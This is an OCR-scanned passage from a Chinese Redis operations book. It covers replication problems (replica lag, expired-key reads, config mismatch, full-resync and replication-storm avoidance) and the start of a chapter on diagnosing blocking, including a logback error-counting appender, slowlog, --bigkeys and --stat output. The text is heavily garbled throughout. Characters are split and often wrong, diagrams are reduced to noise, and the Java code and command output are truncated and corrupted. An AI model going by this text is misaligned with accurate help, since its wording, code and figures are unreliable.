master_repl_offset 表 示 当 前 主 节 点 的 复制 偏 移 量 ， 两 者 的 差 值 就 是 当前 从 市 
点 复制 延迟 量 。Redis 的 复制 速度 取决 于 主 从 之 间 网 络 环境 ，repl-disable- 
tcp-nodelay， 命 令 处 理 速度 等 。 正 常情 况 下 ， 延 迟 在 1 秒 以 内 。 
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6.4 ”开发 与 运 维 中 的 问题 


理解 了 复制 原理 之 后 ， 本 节 我 们 重点 分 析 基 于 复制 的 应 用 场景 。 通 过 复 
制 机 制 ， 数 据 集 可 以 存在 多 个 副本 《〈 从 节点 ) 。 这 些 副本 可 以 应 用 于 读 写 分 
离 、 故 障 转移 〈failover) 、 实 时 备份 等 场景 。 但 是 在 实际 应 用 复制 功能 
时 ， 依 然 有 一 些 坑 需 要 跳 过 。 
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6.4.1 ” 读 写 分 离 


对 于 读 占 比较 高 的 场景 ， 可 以 通过 把 一 部 分 读 流 量 分 挫 到 从 节点 
(slave) 来 减轻 主 节点 (master) 压力 ， 同 时 需要 注意 永远 只 对 主 节点 执行 
写 操作 ， 如 网 6-19 所 示 。 








ms i 


| iINnaster | 





] client | 


i CC 





图 6-19 ”Redis 读 写 分 离 示 意图 


当 使 用 从 节点 啊 应 读 请 求 时 ， 业 务 端 可 能 会 过 到 如 下 问题 : 


复制 数据 延迟 


- 读 到 过 期 数据 。 


-从 市 点 故障 。 
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1 .数据 延 迟 








Redis 复 制 数据 的 延迟 由 于 异步 复制 特性 是 无 法 避免 的 ， 延 迟 取决 于 网 
络 带宽 和 命令 阻 豆 情况 ， 比 如 刚 在 主 节点 写 入 数据 后 立刻 在 从 节点 上 该 取 可 
能 获取 不 到 。 需 要 业务 场景 允许 短 时 间 内 的 数据 延迟 。 对 于 无 法 容忍 大 量 延 
退场 景 ， 可 以 编写 外 部 监控 程序 监听 主 从 节点 的 复制 侦 移 量 ， 当 延迟 较 大 时 
触发 报警 或 者 通知 客户 端 避免 读 取 延迟 过 高 的 从 节点 ， 实 现 逻 辑 如 图 6-20 所 


钞 。 











迪 


client | 一 monitor | 


| 


7 
es 


图 6-20 ”监控 程序 监控 主 从 节点 偏 移 量 


说 明 如 下 : 








1) 监控 程序 (monitor〉 定 期 检查 主 从 节点 的 偏 移 量 ， 主 节点 偏 移 量 在 
info replication 的 master_repl_offset 指 标记 录 ， 从 节点 偏 移 量 可 以 查询 主 节点 
的 slave0 字 有 段 的 offset 指 标 ， 它 们 的 差 值 就 是 主 从 节点 延迟 的 字 节 量 。 
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2) 当 延 迟 字 节 量 过 高 时 ， 比 如 超过 10MB。 监 控 程 序 触 发 报警 并 通知 客 
户 端 从 节点 延迟 过 高 。 可 以 采用 Zookeeper 的 监听 回调 机 制 实现 客户 端 通 
J 





3) 客户 端 接 到 具体 的 从 节点 高 延迟 通知 后 ， 修 改 读 命令 路 由 到 其 他 从 
市 点 或 主 贡 点 上 。 当 延迟 恢复 后 ， 再 次 通知 客户 端 ， 恢 复 从 节点 的 读 命 令 请 
求 。 

















这 种 方案 的 成 本 比较 高 ， 需 要 单独 修改 适 配 Redis 的 客户 端 类 库 。 如 果 
涉及 多 种 语言 成 本 将 会 扩大 。 客 户 端 九 辑 需要 识别 出 读 写 请 求 并 自动 路 由 ， 
还 需要 维护 故障 和 恢复 的 通知 。 采 用 此 方案 视 具体 的 业务 而 定 ， 如 果 人 允许 不 
一 致 性 或 对 延迟 不 敏感 的 业务 可 以 忽略 ， 也 可 以 采用 Redis 集 群 方案 做 水 平 
扩展 。 


2. 读 到 过 期 数据 





当主 节点 存储 大 量 设置 超时 的 数据 时 ， 如 缓存 数据 ，Redis 内 部 需要 维 
护 过 期 数据 删除 策略 ， 删 除 策略 主要 有 两 种 : 惰性 删除 和 定时 删除 ， 具 体 细 
节 见 8.2 节 “内 存 管 理 ”。 


惰性 删除 ， 主 节点 每 次 处 理 读 取 命令 时 ， 都 会 检查 键 是 否 超时 ， 如 果 超 
时 则 执行 del 命 令 删 除 键 对 象 ， 之 后 del 命 令 也 会 异步 发 送 给 从 节点 。 需 要 注 
意 的 是 为 了 保证 复制 的 一 致 性 ， 从 节点 自身 永远 不 会 主动 删除 超时 数据 ， 如 
图 6-21 所 示 。 
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图 6-21 主 节 点 惰性 删除 过 期 键 同 步 给 从 而 后 








定时 删除 : Redis 主 市 反 在 内 部 定时 任务 会 循环 采样 一 定数 量 的 键 ， 当 
发 现 采 样 的 键 过 期 时 执行 del 命 令 ， 之 后 再 同步 给 从 市 点 ， 如 图 6-22 所 示 。 





图 6-22” 主 节点 定时 删除 同步 给 从 节点 





如 果 此 时 数据 大 量 超时 ， 主 节点 采样 速度 跟 不 上 过 期 速度 且 主 贡 氮 没有 
读 取 过 期 键 的 操作 ， 那 么 从 节点 将 无 法 收 到 del 命 令 。 这 时 在 从 节点 上 可 以 
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读 取 到 已 经 超时 的 数据 。Redis 在 3.2 版 本 解决 了 这 个 问题 ， 从 节点 读 取 数据 
之 前 会 检查 键 的 过 期 时 间 来 决定 是 否 返 回 数据 ， 可 以 升级 到 3.2 版 本 来 规避 


这 个 问题 。 





3. 从 市 点 故障 问题 


对 于 从 节点 的 故障 问题 ， 需 要 在 客户 端 维护 可 用 从 布点 列表 ， 当 从 布 损 
故障 时 立刻 切换 到 其 他 从 市 点 或 主 节 点 上 。 这 个 过 程 类 似 上 文 提 到 的 针对 延 
述 过 局 的 监控 处 理 ， 需 要 开发 人 员 改 造 客 户 端 类 库 。 








综 上 所 出 ， 使 用 Redis 做 读 写 分 离 存 在 一 定 的 成 本 。Redis 本 号 的 性 能 非 
常 融 ， 开 发 人 员 在 使 用 额外 的 从 市 把 提 升 读 性 能 之 前 ， 尽 量 在 主 市 点 上 做 充 
分 优化 ， 比 如 解决 慢 查 询 ， 持 久 化 阻 窒 ,合理 应 用 数据 结构 等 ， 当 主 市 点 优 
化 空间 不 大 时 再 考虑 扩展 。 笔 者 建议 大 家 在 做 读 写 分 离 之 前 ， 可 以 考虑 使 用 
Redis Cluster 等 分 布 式 解 决 方案 ， 这 样 不 止 扩展 了 读 性 能 还 可 以 扩展 写 性 能 
和 可 文 撑 数 据 规 模 ， 并 且 一 致 性 和 故障 转移 也 可 以 得 到 保证 ， 对 于 客户 端的 
维护 逻辑 也 相对 容易 。 





394 


6.4.2 ” 主 从 配置 不 一 臻 


主 从 配置 不 一 致 是 一 个 容易 忽视 的 问题 。 对 于 有 些 配置 主 从 之 间 是 可 以 

不 一 致 ， 比 如 : 主 节 扣 关闭 AOF 在 从 市 点 开启 。 但 对 于 内 存 相关 的 配置 必须 
要 一 致 ， 比 如 maxmemory，hash-max-ziplist-entries 等 参数 。 当 配置 的 
maxmemory 从 节点 小 于 主 贡 点， 如 果 复 制 的 数据 量 超过 从 节点 maxmemory 
时 ， 它 会 根据 maxmemory-policy 策 略 进 行内 存 洲 出 控制 ， 此 时 从 市 点 数据 已 
经 丢失 ,但 主 从 复制 流程 依然 正常 进行 ， 复制 偏 移 量 也 正常 。 修 复 这 类 问题 

也 只 能 手动 进行 全 量 复 制 。 当 压缩 列表 相关 参数 不 一 臻 时， 虽然 主 从 节点 存 
储 的 数据 一 致 但 实际 内 存 占用 情况 差异 会 比较 大 。 更 多 压缩 列表 细节 见 8.3 
市 “内 存 管理 ”。 
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6.4.3 ”规避 全 量 复制 


全 量 复制 是 一 个 非 第 消耗 资源 的 操作 ， 前 面 做 了 具体 说 明 。 因 此 如 何 规 
避 全 量 复制 是 需要 重点 关注 的 运 维 点 。 下 面 我 们 对 需要 进行 全 量 复制 的 场景 














第 一 次 建立 复制 ， 由 于 是 第 一 次 建立 复制 ， 从 节点 不 包含 任何 主 市 反 
数据 ， 因 此 必须 进行 全 量 复制 才能 完成 数据 同步 。 对 于 这 种 情况 全 量 复制 无 
法 避免 。 当 对 数据 量 较 大 且 流 量 较 高 的 主 节 点 添加 从 节点 时 ， 建 议 在 低 峰 时 
进行 操作 ， 或 者 尽量 规避 使 用 大 数据 量 的 Redis 节 点 。 














节点 运行 ID 不 匹配 : 当主 从 复制 关系 建立 后 ， 从 节点 会 保存 主 节点 的 
运行 DD， 如 果 此 时 主 节点 因 故 障 重 局 ， 那 么 它 的 运行 人 DD 会 改变 ， 从 节点 发 现 
主 节点 运行 ID 不 匹配 时 ， 会 认为 目 己 复制 的 是 一 个 新 的 主 节 点 从 而 进行 全 量 
复制 。 对 于 这 种 情况 应 该 从 染 构 上 规避 ， 比 如 提供 故障 转移 功能 。 当 主 市 反 
发 生 故 障 后 ， 手 动 提升 从 市 点 为 主 节点 或 者 采用 支持 自动 故障 转移 的 哨兵 或 
集群 方案 。 











:复制 积压 缓冲 区 不 足 ， 当 主 从 节点 网 络 中 断后 ， 从 节点 再 次 连 上 主 节 
点 时 会 发 送 psync{offset} {runId} 命 令 请 求 部 分 复制 ， 如 果 请 求 的 偏 移 量 不 在 
主 节点 的 积压 缓冲 区 内 ， 则 无 法 提供 给 从 节点 数据 ， 因 此 部 分 复制 会 退化 为 
全 量 复制 。 针 对 这 种 情况 需要 根据 网 络 中 断 时 长 ， 写 命令 数据 量 分 析出 合理 
的 积压 缓冲 区 大 小 。 网 络 中 断 一 般 有 闪 断 、 机 房 制 接 、 网 络 分 区 等 情况 。 这 
时 网 络 中 断 的 时 长 一 般 在 分 钟 级 (net_break time) 。 写 命令 数据 量 可 以 统 


计 高 峰 期 主 节点 每 秒 info replication 的 master repl_ offset 差 值 获取 
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Cwrite_ size_per minute) 。 积 压 缓冲 区 默认 为 IMB， 对 于 大 流量 场景 显然 
不 够 ,这 时 需要 增 大 积压 缓冲 区 ， 保 证 
repl backlog size>net break time*write size_ per minute， 从 而 避免 因 复制 积 
压 缓冲 区 不 足 造成 的 全 量 复 制 。 
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6.4.4 规避 复制 风暴 





复制 风暴 是 指 大 量 从 市 点 对 同一 主 节 点 或 者 对 同一 台 机 器 的 多 个 主 市 皮 
短 时 间 内 发 起 全 量 复制 的 过 程 。 复 制 风 其 对 发 起 复制 的 主 市 扣 或 者 机 占 造 成 
大 量 开 销 ， 导 致 CU、 内存、 市 宽 消耗 。 因 此 我 们 应 该 分 析出 复制 风暴 发 生 
的 场景 ， 提 前 采用 合理 的 方式 规避 。 规 避 方 式 有 如 下 几 个 。 








1. 单 主 市 点 复 制 风 暴 


单 主 布点 复制 风暴 一 般 发 生 在 主 节 点 挂 载 多 个 从 布点 的 场景 。 当 主 节 点 
重 局 恢复 后 ， 从 市 反 会 发 起 全 量 复制 流程 ， 这 时 主 节 点 就 会 为 从 节 扣 创建 
RDB 快 照 ， 如 果 在 快照 创建 完毕 之 前 ， 有 多 个 从 而 点 都 答 试 与 主 节 点 进行 全 
量 同步 ， 那 么 其 他 从 节点 将 共享 这 份 RDB 快 照 。 这 点 Redis 做 了 优化 ， 有 效 
避免 了 创建 多 个 快照 。 但 是 ， 同 时 问 多 个 从 节点 发 送 RDB 快 照 ， 可 能 使 主 市 
点 的 网 络 带宽 消耗 严重 ， 造 成 主 贡 点 的 延迟 变 大 ， 极 疹 情况 会 帮 生 主 从 节点 
连接 断 开 ， 导 致 复制 失败 。 








解决 方案 首先 可 以 减少 主 节 点 (master) 挂 载 从 节点 〈slave) 的 数量 ， 
或 者 采用 树 状 复制 结构 ， 加 入 中 间 层 从 节点 用 来 保护 主 节 点 ， 如 图 6-23 所 


钞 。 
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iNnaster 


] master ] | 
| | slave-] 
ave-2 


| slave-] | slave- | slave-3 / 
slave-1-a Fe | | 


图 6-23 ”采用 树 状 结构 降低 多 个 从 节点 对 主 节 点 的 消耗 


目 





从 节点 采用 树 状 树 非常 有 用 ， 网 络 开销 交 给 位 于 中 间 层 的 从 节点 ， 而 不 
必 消 耗 项 层 的 主 节 点 。 但 是 这 种 树 状 结构 也 带 来 了 运 维 的 复杂 性 ， 增 加 了 手 
动 和 目 动 处 理 故障 转移 的 难度 。 


2. 单 机 需 复 制 风暴 


由 于 Redis 的 单线 程 架 构 ， 通 销 单 台 机 器 会 部 署 多 个 Redis 实 例 。 当 一 人 台 
机 器 (machine) 上 同时 部 署 多 个 主 节 点 Cmaster) 时 ， 如 图 6-24 所 示 。 
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machine-B 
machine-A | 


| 
| | 
| | slave-1 slave-! | | 
! | eT 
区 se 
| 由 SLaVE- | 
| master-2 一 一 一 一 一 一 一 。 
i | 
| machine-C 
| master-2 1 i 
| slave-3 slave-3 | | 
| | 
master-4 “St 
| | SR 
| | 


machine-D 


a i 
slave-4 


图 6-24 单机 多 实例 部 署 


如 果 这 人 台 机 器 出 现 故障 或 网 络 长 时 间 中 断 ， 当 它 重 局 恢复 后 ， 会 有 大 量 
从 节点 〈slave) 针对 这 合 机 需 的 主 节点 进行 全 量 复制 ， 会 造成 当前 机 器 网 








-应 该 把 主 节点 尽量 分 散在 多 台 机 器 上 ， 避 免 在 单 台 机 器 上 部 署 过 多 的 


当主 市 点 所 在 机 器 故障 后 提供 故障 转移 机 制 ， 避 免 机 器 恢复 后 进行 密 
集 的 全 量 复 制 。 
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6.5 本草 重 点 回顾 





1) Redis 通 过 复制 功能 实现 主 节点 的 多 个 副本 。 从 节点 可 灵活 地 通过 
slaveof 命 令 建 立 或 断 开 复制 流程 。 


2) 复制 支持 树 状 结构 ， 从 市 点 可 以 复制 男 一 个 从 市 皮 ， 实 现 一 层 层 问 
下 的 复制 流 。Redis2.8 之 后 复制 的 流程 分 为 : 全 量 复制 和 部 分 复制 。 全 量 复 
制 需要 同步 全 部 主 市 点 的 数据 集 ， 大 量 消耗 机 避 和 网 络 资源 。 而 部 分 复制 有 
效 减少 因 网 络 异常 等 原因 造成 的 不 必要 全 量 复制 情况 。 通 过 配置 合理 的 复制 
积压 缓冲 区 尺 量 避免 全 量 复制 。 








3) 主 从 节点 之 间 维 护 心跳 和 偏 移 量 检 查 机 制 ， 保 证 主 从 节操 通信 正常 
和 数据 一 致 。 





4) Redis 为 了 保证 高 性 能 复制 过 程 是 异步 的 ， 写 命令 处 理 完 后 直接 返回 
给 客户 端 ， 不 等 待 从 节点 复制 完成 。 因 此 从 节点 数据 集会 有 延迟 情况 。 





5) 当 使 用 从 节操 用 于 读 写 分 离 时 会 存在 数据 延 人 运 、 过 期 数据 、 从 而 操 
可 用 性 等 问题 ， 需 要 根据 目 身 业务 提前 作出 规避 。 





6) 在 运 维 过 程 中 ， 主 节点 存在 多 个 从 节点 或 者 一 台 机 器 上 部 车 大 量 主 
节点 的 情况 下 ， 会 有 复制 风暴 的 风险 。 
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第 7 章 ”Redis 的 豆 梦 : 阳 塞 


Redis 是 典型 的 单线 程 染 构 ， 所 有 的 读 写 操作 都 是 在 一 条 主线 程 中 完成 
的 。 当 Redis 用 于 高 并 发 场景 时 ， 这 条 线程 就 变 成 了 它 的 生命 线 。 如 果 出 现 
阻 蛙 ， 哪 怕 是 很 短 时 间 ， 对 于 我 们 的 应 用 来 说 都 是 置 梦 。 导 致 阻塞 问题 的 场 
景 大 致 分 为 内 在 原因 和 外 在 原因 和: 








:内 在 原因 包括 : 不 合理 地 使 用 API 或 数据 结构 、CPU 饮 和、 持久 化 阻塞 


本 
等 。 


外 在 原因 包括 : CPU 竞争 、 内 存 交 换 、 网 络 问题 等 。 








本 章 我 们 聚焦 于 Redis 阻 塞 问 题 ， 通 过 学 习 本 章 可 掌握 快速 定位 和 解决 
Redis 阻 塞 的 思路 和 技巧 。 


402 


7.1 发现 阻 宪 


当 Redis 阻 塞 时 ， 线 上 应 用 服务 应 该 最 先 感知 到 ， 这 时 应 用 方 会 收 到 大 
量 Redis 超 时 异常 ， 比 如 Jedis 客 户 端 会 抛 出 JedisConnectionException 异 常 。 常 
见 的 做 法 是 在 应 用 方 加 入 异常 统计 并 通过 邮件 /短信 / 微 信 报警 ， 以 便 及 时 发 
现 通知 问题 。 开 发 人 员 需 要 处 理 如 何 统计 异常 以 及 触发 报警 的 时 机 。 何 时 和 触 
发 报警 一 般 根据 应 用 的 并 发 量 决定 ， 如 1 分 钟 内 超过 10 个 异常 触发 报警 。 在 
实现 异常 统计 时 要 注意 ， 由 于 Redis 调 用 API 会 分 散在 项 目的 多 个 地 方 ， 每 个 
地 方 都 监听 异常 并 加 入 监控 代码 必然 难以 维护 。 这 时 可 以 借助 于 日 志 系 统 ， 
如 Java 语 言 可 以 使 用 logback 或 log4j。 当 异常 发 生 时 ， 异 常 信息 最 终 会 被 日 志 
系统 收集 到 Appender 〈 输 出 目的 地 ) ， 默 认 的 Appender 一 般 是 具体 的 日 志文 
件 ， 开 发 人 员 可 以 自 定义 一 个 Appender， 用 于 专门 统计 异常 和 触发 报警 罗 
辑 ， 如 图 7-1 所 示 。 

















Redis 摊 作 | 


i 
Jredis-error: | | 
ms 
| ers, 
i 


redis-error-2 








2 > 站 二 
纲 计 乓 兄 
各 1 效 
击发 报 雹 
We ee / CN CM ww ww ! 
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图 7-1 目 定 义 Appender 收 集 Redis 异 季 


以 Java 的 logback 为 例 ， 实 现代 码 如 下 : 








public class Redis Appender extends AppenderBase<ILoggingEvent> { 
// 使 用 guava 的 AtomicLongMap, 用 于 并 发 计数 

































































public static final AtomicLongMap<String> ATOMIC LONG MAP = AtomicLongMap.c 
Statie 

// ” 自 定义 Appender 加 入 到 1ogback 的 rootLogger 中 

LoggerContext loggerContext = (LoggerContext) LoggerFactory.getILoggerF 








Logger rootLogger = loggerContext.getLogger (Logger.ROOT LOGGER NAME); 
ErrorStatisticsAppender errorStatisticsAppender = new ErrorStatisticsAp: 
errorStatisticsAppender.setContext (loggerContext); 
errorStatisticsAppender.start (); 

rootLogger.addAppender (errorStatisticsAppender); 























// 重 写 接收 日 志 事 件 方法 
protected void append(ILoggingEvent event) { 
// ”只 监控 error 级 别 日 志 
if (event.getLevel() == LeV .ERROR) { 
IThrowableProxy throwableProxy = event.getThrowablePproxy(); 
/ / 确认 抛 出 异常 
if (throwableProxy != null) { 
/ /” 以 每 分 钟 为 Key， 记 录 每 分 钟 异常 数量 
String key = DateUtil.formatDate (new Date(), "yyyyMMddHHmm"); 
long errorCount = ATOMIC LONG MAP.incrementAndGet (key); 
if (errorCount > 10) { 
/ /” ”超过 1 0 次 触发 报警 代码 















































| 
/ / 清理 历史 计数 统计 ， 防 止 极 端 情况 下 内 存 泄露 
for (String oldKey : ATOMIC LONG MAP.asMap () .keySet ()) { 
if (!StringUtils.equals (key, oldKey)) ({ 
ATOMIC LONG MAP.remove (oldKey); 





} 





Oj 








借助 日 志 系 统统 计 寞 常 的 前 提 是 ， 需 要 项 目 必 须 使 用 日 志 API 进 行 异 
统一 输出 ， 比 如 所 有 的 异常 都 通过 logger.error 打 印 ， 这 应 该 作为 开发 规范 推 
其 他 编程 语言 也 可 以 采用 类 似 的 日 志 系 统 实现 异常 统计 报警 


应 用 方 加 入 腊 第 监控 之 后 还 存在 一 个 问题 ， 当 开发 人 员 接 到 卉 党 报警 
后 ， 通 常会 去 线 上 服务 器 碍 看 错误 日 志 细 节 。 这 时 如 果 应 用 操作 的 是 多 个 
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Redis 节 点 《比如 使 用 Redis 集 群 ) ， 如 何 决定 是 哪 一 个 节点 超时 还 是 所 有 的 
节点 都 有 超时 呢 ? 这 是 线 上 很 常见 的 需求 ， 但 绝 大 多 数 的 客户 端 类 库 并 没有 
在 异常 信息 中 打印 ip 和 port 信 息 ， 导 致 无 法 快速 定位 是 哪个 Redis 节 点 超时 。 
不 过 修改 Redis 客 户 端 成 本 很 低 ， 比 如 Jedis 只 需要 修改 Connection 类 下 的 
connect、sendCommand、readProtocolWithCheckingBroken 方 法 专门 捕获 连 
接 ， 发 送 命令 ， 协 议 读 取 事 件 的 异常 。 由 于 客户 端 类 库 都 会 保存 ip 和 port 信 
息 ， 当 异常 发 生 时 很 容易 打印 出 对 应 节点 的 jp 和 port， 辅 助 我 们 快速 定位 问 


题 节 点 。 











除了 在 应 用 方 加 入 统计 报警 逻辑 之 外 ， 还 可 以 借助 Redis 监 控 系 统 发 现 
阻 豆 问题 ， 当 监控 系统 检测 到 Redis 运 行 期 的 一 些 关 键 指标 出 现 不 正常 时 会 
触发 报警 。Redis 相 关 的 监控 系统 开源 的 方案 有 很 多 ， 一 些 公司 内 部 也 会 目 
己 开 发 监控 系统 。 一 个 可 靠 的 Redis 监 控 系统 首先 需要 做 到 对 关键 指标 全 方 
位 监控 和 有 弄 币 识别， 辅助 开发 运 维 人 员 发 现 定位 问题 。 如 打 Redis 服 务 没 有 
引入 监控 系统 作 辅 助 文 撑 ， 对 于 线 上 的 服务 是 非常 不 负责 任 和 和 危险 的 。 这 里 
推荐 笔者 团队 开源 的 CacheCloud 系 统 ， 它 内 部 的 统计 监控 模块 能 够 很 好 地 辅 
助 工 程 师 发 现 定位 问题 。 











监控 系统 所 监控 的 关键 指标 有 很 多 ， 如 命令 耗 时 、 慢 得 询 、 持 久 化 阻 

、 连 接 拒绝 、CPU/ 内 存 /网 络 /磁盘 使 用 过 载 等 。 当 出 现 阻塞 时 如 果 相 关 人 
员 不 能 深刻 理解 这 些 关 键 指标 的 含义 和 背后 的 原理 ， 会 严重 影响 解决 问题 的 
速度 。 后 面 的 内 容 将 围绕 引起 Redis 阻 塞 的 原因 做 重点 说 明 。 
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7.2 ”内 在 原因 


致 ， 


定位 到 具体 的 Redis 节 点 异常 后 ， 首 先 应 该 排 奉 
围 经 以 下 几 个 方面 排 奉 : 


API 或 数据 结构 使 用 不 合理 。 
:CPU 饱和 的 问题 。 


持久 化 相关 的 阻塞 。 
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日 不 上 日 
是 否 古 


Redis 目 身 原 因 导 


7.2.1 API 或 数据 结构 使 用 不 合理 


通常 Redis 执 行 命令 速度 非常 快 ， 但 也 存在 例外 ， 如 对 一 个 包含 上 万 个 
元 素 的 hash 结 构 执 行 hgetall 操 作 ， 由 于 数据 量 比较 大 且 命 令 算 法 复杂 度 是 
O Cn) ， 这 条 命令 执行 速度 必然 很 慢 。 这 个 问题 就 是 典型 的 不 合理 使 用 API 
和 数据 结构 。 对 于 高 并 发 的 场景 我 们 应 该 尽量 避免 在 大 对 象 上 执行 算法 复杂 
度 超过 O (n) 的 命令 ， 关 于 Redis 命 令 的 复杂 度 ， 详 见 第 2 章 。 














1. 如 何 发 现 慢 碍 询 


Redis 原 生 提 供 慢 奋 询 统计 功能 ， 执 行 slowlog get{n} 命 令 可 以 获取 最 近 
的 n 条 慢 碍 询 命令 ， 默 认 对 于 执行 超过 10 坚 秒 的 命令 都 会 记录 到 一 个 定 长 队 
列 中 ， 线 上 实例 建议 设置 为 1 曼 秒 便于 及 时 发 现 坚 秒 级 以 上 的 命令 。 如 宋 命 
令 执行 时 间 在 毫秒 级 ， 则 实例 实际 OPS 只 有 1000 左 右 。 慢 查询 队列 长 度 默 认 
128， 可 适当 调 大 。 慢 查询 更 多 细 市 见 第 3 半 。 慢 但 询 本 里 只 记录 了 命令 执行 
时 间 ， 不 包括 数据 网 络 传输 时 间 和 命令 排队 时 间 ， 因 此 客户 端 发 生 阻 豆 异 各 
后 ， 可 能 不 是 当前 命令 缓慢 ， 而 是 在 等 待 其 他 命令 执行 。 需 要 重点 比 对 异常 


和 慢 碍 询 发 生 的 时 间 点 ， 确 认 古 否 有 慢 碍 询 造 成 的 命令 阻塞 排队 。 




















发 现 慢 查 询 后 ， 开 发 人 员 需 要 作出 及 时 调整 。 可 以 按照 以 下 两 个 方 同 去 


调整 : 


1) 修改 为 低 算法 度 的 命令 ， 如 hgetall 改 为 hmget 等 ， 禁 用 keys、sort 等 命 


令 ， 
2) 调整 大 对 象 ， 缩 减 大 对 象 数据 或 把 大 对 象 拆 分 为 多 个 小 对 象 ， 防 止 
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一 次 命令 操作 过 多 的 数据 。 大 对 象 拆 分 过 程 需要 视 具 体 的 业务 决定 ， 如 用 户 
好 友 集 合 存储 在 Redis 中 ， 有 些 热点 用 户 会 关注 大 量 好 友 ， 这 时 可 以 按时 间 
或 其 他 维度 拆 分 到 多 个 集合 中 。 





2. 如 何 发 现 大 对 象 


Redis 本 身 提 供 发 现 大 对 象 的 工具 ， 对 应 命令 : redis-cli-h{ip}- 
p{port}bigkeys。 内 部 原理 采用 分 段 进 行 scan 操 作 ， 把 历史 扫描 过 的 最 大 对 象 
统计 出 来 便于 分 析 优 化 ， 运 行 效 果 如 下 : 





redis-cli --bigkeys 
Scanning th ntire keyspace to find biggest keys as well as 

average sizes Per key type. You can use -i 0.1 to Sleep 0.1 sec 

per 100 SCAN commands (not usually needed). 

00.00%] Biggest string found so far 'ptc:-571805194744395733"' with 17 bytes 

00.00%$] Biggest string found so far 'RVF#2570599,1' with 3881 bytes 

00.01%] Biggest hash found so far ‘'pcl:8752795333786343845"' with 208 fields 

00.37%$] Biggest string found so far 'RVF#1224557,1' with 3882 bytes 

00.75%] Biggest string found so far "ptc:2404721392920303995! with 4791 bytes 
t s 
t s 
t s 








填 大 大 砷 





04.64%] Bigges tring found so far 'pcltm:614' with 5176729 pytes 
08.08%$] Biggest string found so far ‘pcltm:8561' with 11669889 bytes 
21.08%] Biggest string found so far 'pcltm:8598"' with 12300864 bytes 
.. 忽略 更 多 输出 . . . 

二 summary ------- 
Sampled 3192437 keys in the keyspace! 

Total key length in bytes is 78299956 (avg len 24.53) 

Biggest string found '‘'pciltm:121' has 17735928 bytes 

Biggest hash found 'pcl:3650040409957394505' has 209 fields 

2526878 strings with 954999242 bytes (79.15%$ of keys, avg size 377.94) 
0 lists with 0 items (00.00% of keys, avg size 0.00) 

0 sets with 0 members (00.00% of keys, avg size 0.00) 

665559 hashs with 19013973 fields (20.85% of keys, avg size 28.57) 

0 zsets with 0 members (00.00% of keys, avg size 0.00) 









































根据 结果 汇总 信息 能 非常 方便 地 获取 到 大 对 象 的 键 ， 以 及 不 同类 型 数据 
结构 的 使 用 情况 。 
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7.2.2 CPU 饱和 


单线 程 的 Redis 处 理 命 令 时 只 能 使 用 一 个 CPU。 而 CPU 饱和 是 指 Redis 把 
单 核 CPU 使 用 率 跑 到 接近 100%。 使 用 top 命 令 很 容易 识别 出 对 应 Redis 进 程 的 
CPU 使 用 率 。CPU 饱 和 是 非常 危险 的 ， 将 导致 Redis 无 法 处 理 更 多 的 命令 ， 严 

影响 吞吐 量 和 应 用 方 的 稳定 性 。 对 于 这 种 情况 ， 首 先 判断 当前 Redis 的 并 
发 量 是 否 达到 极限 ， 建 议 使 用 统计 命令 redis-cli-h{fip}-p{port}--stat 获 取 当 前 
Redis 使 用 情况 ， 该 命令 每 秒 输出 一 行 统计 信息 ， 运 行 效果 如 下 : 














# redis-cli --stat 

三 三 一 二 二 二 二 Qt Odd Se hd 二 
keys mem clients blocked requests connections 
3789785 3.20G S07 0 8867955607 (+0) 555894 

3:789813 3.20G 507 0 8867959511 (+63904) 555894 

3789822 3.20G 507 0 8867961602 (+62091) 555894 

3789831 35206 507 0 8867965049 (+63447) 555894 

3789842 3.20G 507 0 8867969520 (+62675) 555894 

3789845 3.20G 507 0 8867971943 (+62423) 555894 





以 上 输出 是 一 个 接近 饱和 的 Redis 实 例 的 统计 信息 ， 它 每 秒 平均 处 理 6 万 
+ 的 请 求 。 对 于 这 种 情况 ， 垂 直 层 面 的 命令 优化 很 难 达 到 效果 ， 这 时 就 需要 
做 集群 化 水 平 扩展 来 分 扒 OPS 压 力 。 如 果 只 有 几 百 或 几 千 OPS 的 Redis 实 例 就 
接近 CPU 饱和 是 很 不 正常 的 ， 有 可 能 使 用 了 高 算法 复杂 度 的 命令 。 还 有 一 种 
情况 是 过 度 的 内 存 优化 ， 这 种 情况 有 些 隐蔽 ， 需 要 我 们 根据 info 
commandstats 统 计 信 息 分 析出 命令 不 合理 开销 时 间 ， 例 如 下 面 的 耗 时 统计 : 














cmdstat hset:calls=198757512; tsec=27021957243;Usee per call=135..95 





查看 这 个 统计 可 以 发 现 一 个 问题 ，hset 命 令 算 法 复杂 度 只 有 OQO (1) 但 平 
均 耗 时 却 达到 135 微 秒 ， 显 然 不 合理 ， 正 常情 况 耗 时 应 该 在 10 微 秒 以 下 。 这 
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是 因为 上 面 的 Redis 实 例 为 了 追求 低 内 存 使 用 量 ， 过 度 放 宽 ziplist 使 用 条 件 
(修改 了 hash-max-ziplist-entries 和 hash-max-ziplist-value 配 置 ) 。 进 程 内 的 
hash 对 象 平均 存储 着 上 万 个 元 素 ， 而 针对 ziplist 的 操作 算法 复杂 度 在 O(n) 
到 O (n2) 之 间 。 虽 然 采 用 ziplist 编 码 后 hash 结 构 内 存 占 用 会 变 小 ， 但 是 操作 
变 得 更 慢 且 更 消耗 CPU。ziplist 压 缩编 码 是 Redis 用 来 平衡 空间 和 效率 的 优化 
手段 ， 不 可 过 度 使 用 。 关 于 ziplist 编 码 细节 见 第 8 章 的 8.3 节 “内 存 优化 ”。 
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7.2.3 ”持久 化 阻塞 





对 于 开局 了 持久 化 功能 的 Redis 节 上 点， 需要 排查 是 人 否 是 持久 化 导致 的 阻 
塞 。 持 久 化 引起 主线 程 阻塞 的 操作 主要 有 : fork 阻 塞 、AOF 刷 盘 阻 塞 、 
HugePage 写 操作 阻塞 。 


1.fork 咀 塞 


fork 操 作 发 生 在 RDB 和 AOF 重 写 时 ，Redis 主 线程 调用 fork 操 作 产 生 共 享 
内 存 的 子 进程 ， 由 子 进程 完成 持久 化 文件 重 写 工作 。 如 果 fork 操 作 本 身 耗 时 
过 长 ， 必 然 会 导致 主线 程 的 阻塞 。 


可 以 执行 info stats 命 令 获 取 到 latest fork usec 指 标 ， 表 示 Redis 最 近 一 次 
fork 操 作 耗 时 ， 如 果 耗 时 很 大 ， 比 如 超过 1 秒 ， 则 需要 做 出 优化 调整 ， 如 避 
免 使 用 过 大 的 内 存 实例 和 规避 fork 缓 慢 的 操作 系统 等 ， 更 多 细节 见 第 5$ 章 5.3 
节 中 fork 优 化 部 分 。 


2.AOF 刷 盘 阻 塞 


